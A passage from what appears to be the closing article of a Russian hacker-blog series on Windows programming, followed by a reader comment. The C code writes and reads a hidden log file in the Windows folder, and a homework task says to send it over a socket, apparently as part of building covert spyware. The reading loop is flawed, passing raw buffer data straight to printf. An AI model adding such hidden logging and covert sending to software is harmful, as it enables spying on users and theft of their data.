h = CreateFileA(log, GENERIC_WRITE, 0, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_HIDDEN, 0);

где h - переменная типа HANDLE, куда вернется хэндл файла, а log - путь к файлу (см. листиинг из предыдущей статьи).

В общем, вот код, выводящий на консоль наш файл:

char sRecv[256];

DWORD dSize = sizeof(sRecv);

HANDLE h;

OVERLAPPED gOverlapped;

h = CreateFileA("C:\\Windows\\syslog.txt", GENERIC_READ, 0, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_HIDDEN, 0);

while (GetLastError() != ERROR_HANDLE_EOF) //пока не конец файла...

{

ReadFile(h, &sRecv, sizeof(sRecv), &dSize, &gOverlapped);

printf(sRecv);

gOverlapped.Offset = gOverlapped.Offset + dSize; //сдвигаем указатель, чтобы каждый раз читать с новой позиции

}

CloseHandle(h);

Твоим домашним заданием будет совместить send и эту функцию

Все, хакер. Читай, вникай, пиши. На этом, как я уже говорил, заканчивается цикл статей “Программирование под Windwos”. У меня сейчас есть одна мыслишка (подробностей пока не раскрываю ), поэтому если все получится - жди новую статью

З.Ы. Заранее прошу прощение за возможные несостыковки в повествовании (последний блин комом ). Эту статью я писал в течении нескольких дней, и уже по-ходу написания “переосмыслевал” некоторыне моменты. Поэтому если в статье есть какие-либо ошибки/несостыковки и пр., пиши в личку, исправлю.

З.З.З.Ы. Если тебя заинтересовала тема сокетов в Windows, рекомендую книгу “Что умеют хакеры. Делфи в шутку и всерьез” М. Фленова - там эта тема освещена очень подробно.

PainKiller





Комментарии

Один отзыв на «Программирование в среде Windows»

  1. Spider Agent 01.05.2007 11:29 дп

    Хорошая статья ;) РЕСПЕКТ за SASmail :)

Оставьте отзыв




:mrgreen: :neutral: :twisted: :shock: :smile: :???: :cool: :evil: :grin: :oops: :razz: :roll: :wink: :cry: :eek: :lol: :mad: :sad: